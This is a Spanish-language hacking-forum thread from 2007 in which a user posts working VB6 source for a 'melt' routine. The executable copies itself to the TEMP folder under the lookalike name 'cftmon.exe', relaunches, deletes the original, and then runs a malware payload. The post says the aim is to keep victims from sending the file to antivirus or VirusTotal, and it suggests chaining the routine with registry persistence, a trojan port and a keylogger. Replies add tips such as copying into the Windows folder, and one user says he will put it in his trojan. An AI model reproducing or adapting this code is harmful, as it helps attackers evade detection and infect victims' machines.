[Source] How to Melt a file in VB6

Iniciado por Mad Antrax, 13 Mayo 2007, 12:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

Bueno, aquí otro de mis mini códigos para hacer "Melt" en VB6, pero antes... ¿que significa "Melt"?

Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...

Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD




Aquí el código:

Código (vb) [Seleccionar]
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
    DoEvents                                        'Esperamos...
    Shell Environ("tmp") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function


Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).

Saludos!! (Espero comentarios!!)

Codigo fuente adjunto al post (solo usuarios registrados)
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Hans el Topo

jajaja muy bueno, no sabía que se llamaba "Melt" xD

Hace tiempo hice algo parecido, el mio movia el archivo a la carpeta que más tiempo llevaba sin modificarse xD


 

Jareth

Muy bueno,para evitar que se ejecute dos veces tu programa no seria mejor en el form_load:

If app.previnstance=true then
end
end if

Pero para un troyano es muy util para el server.
Saludos.

Mad Antrax

Ese cñodigo no sirve mucho, me explico:


If App.PrevInstance = True Then
    End
End If


Esto lo guardo como "hola.exe" y lo ejecuto. Ahora copio "hola.exe" como "adios.exe" y lo ejecuto.

Tendré el hola.exe y el adios.exe ejecutados simultaneamente. Esto se arregla con un MuteX o con Melt
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.


Jareth

Es cierto ||MadAntrax||,ya decia yo que no seria asi.

vivachapas

jaja...
yo tb hice uno parecido sin saber q tenia nombre ya... XD

el mio en vez de comprobar q nombre tenia verificaba la ruta... si esta estaba en windows se conectaba... si no se copiaba a windows y lo ejecutaba...
lo de borrar no se me habia ocurrido pero es buena idea tb ;)

~~


hepy_92

wenisimo!!!
aora mismo lo pongo en mi troyano!
muy util gracias!!!

alguien sabe como hacer para que en ves que se copie a la carpeta temp, se copie a la de windows??? ai alguna variable en vb q contenga el directorio de windows??? hasta donde yo se, para system32 hai que declarar mucho.. me contaron que para la carpeta de windows no, alguien sabe??

vivachapas

MsgBox Environ("windir")

asi me lo paso EON ;)

y funciona